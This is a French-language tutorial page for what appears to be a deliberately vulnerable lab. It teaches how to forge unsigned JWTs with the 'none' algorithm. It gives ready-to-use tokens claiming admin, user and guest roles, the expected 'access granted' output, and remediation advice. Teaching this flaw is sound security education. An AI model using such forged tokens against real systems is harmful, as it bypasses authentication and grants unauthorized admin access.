# Forger un token JWT mal sécurisé

## Objectif de l'attaque

Exploitez une faille dans la validation JWT pour accéder aux ressources protégées.

Entrer un JWT :

## À propos de ce site

Ce site est conçu pour illustrer une vulnérabilité spécifique liée aux JSON Web Tokens (JWT). Les JWT sont largement utilisés pour l'authentification et la gestion des sessions dans les applications web modernes. Cependant, une mauvaise implémentation peut conduire à des failles de sécurité critiques.

### Comment le site fonctionne

L'application permet aux utilisateurs de soumettre un token JWT qui est ensuite validé côté serveur pour déterminer s'ils ont accès à des ressources protégées. Normalement, le serveur devrait vérifier la signature du token en utilisant une clé secrète connue uniquement de lui. Cependant, dans cette simulation, le serveur ne valide pas correctement certains aspects du token, ce qui ouvre la porte à des manipulations malveillantes.

### Pourquoi il y a une vulnérabilité

La vulnérabilité réside dans le fait que le serveur accepte des tokens JWT signés avec l'algorithme 'none'. Dans la spécification JWT, l'algorithme 'none' indique qu'il n'y a pas de signature. Si le serveur ne rejette pas explicitement les tokens utilisant cet algorithme, un attaquant peut créer un token arbitraire sans signature, et le serveur l'acceptera comme valide.

### Étape par étape pour exploiter la vulnérabilité

#### Étape 1 : Comprendre la structure d'un JWT

Un JWT est composé de trois parties séparées par des points :

- En-tête (Header) : Spécifie le type de token et l'algorithme de signature utilisé.
- Charge utile (Payload) : Contient les revendications (informations) sur l'utilisateur.
- Signature : Assure l'intégrité du token.

#### Étape 2 : Créer un JWT avec l'algorithme 'none'

Nous allons forger un JWT en spécifiant l'algorithme 'none', ce qui signifie qu'il n'y aura pas de signature.

En-tête (Header) :

    {
      "alg": "none",
      "typ": "JWT"
    }

Charge utile (Payload) :

    {
      "user": "admin1",
      "role": "admin"
    }

Ensuite, encodez ces deux parties en Base64URL.

- En-tête encodé :

    eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

- Charge utile encodée :

    eyJ1c2VyIjoiYWRtaW4xIiwicm9sZSI6ImFkbWluIn0

Comme l'algorithme est 'none', il n'y a pas de signature. Assemblez donc le token :

    eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4xIiwicm9sZSI6ImFkbWluIn0.

#### Étape 3 : Soumettre le token

Copiez le token ci-dessus et collez-le dans le champ 'Entrer un JWT' du formulaire ci-dessus, puis cliquez sur 'Soumettre'.

#### Étape 4 : Observer le résultat

Si le serveur est vulnérable, il acceptera le token sans signature et vous accordera un accès non autorisé aux ressources protégées. Vous devriez voir le message :

    Accès autorisé en tant qu'admin. Permissions: read, write, delete, manage_users

#### Étape 5 : Expérimenter avec d'autres rôles

Vous pouvez modifier la charge utile pour tester différents scénarios.

Exemple pour un utilisateur standard :

    {
      "user": "user1",
      "role": "user"
    }

Token complet pour utilisateur standard :

    eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoidXNlcjEiLCJyb2xlIjoidXNlciJ9.

Exemple pour un invité :

    {
      "user": "guest1",
      "role": "guest"
    }

Token complet pour invité :

    eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiZ3Vlc3QxIiwicm9sZSI6Imd1ZXN0In0.

### Où se trouve 'none' dans le token ?

Le mot 'none' est spécifié dans l'en-tête du token JWT. Il est encodé en Base64URL dans la première partie du token. En décodant l'en-tête, vous obtenez :

    {
      "alg": "none",
      "typ": "JWT"
    }

C'est cette spécification de l'algorithme 'none' qui permet de contourner la vérification de la signature.

### Comment remédier à la vulnérabilité

Pour corriger cette vulnérabilité, les développeurs doivent :

- Rejeter explicitement les tokens utilisant l'algorithme 'none'.
- Spécifier les algorithmes de signature acceptables lors de la configuration des bibliothèques JWT.
- Vérifier la présence et la validité de la signature du token en utilisant la clé secrète appropriée.

### Ressources supplémentaires

- Introduction aux JSON Web Tokens
- Projet OWASP Top Ten
- Vulnérabilités critiques dans les bibliothèques JWT

### Glossaire

- JSON Web Token (JWT) : Un standard pour créer des tokens d'accès sécurisés.
- Base64URL : Une variante de l'encodage Base64 utilisée pour les URL.
- Algorithme 'none' : Spécifie qu'aucun algorithme de signature n'est utilisé.
- Signature : Assure l'intégrité et l'authenticité du token.
- Attaquant : Personne cherchant à exploiter des vulnérabilités pour accéder à des ressources non autorisées.
- Vulnérabilité : Faiblesse dans un système pouvant être exploitée pour compromettre sa sécurité.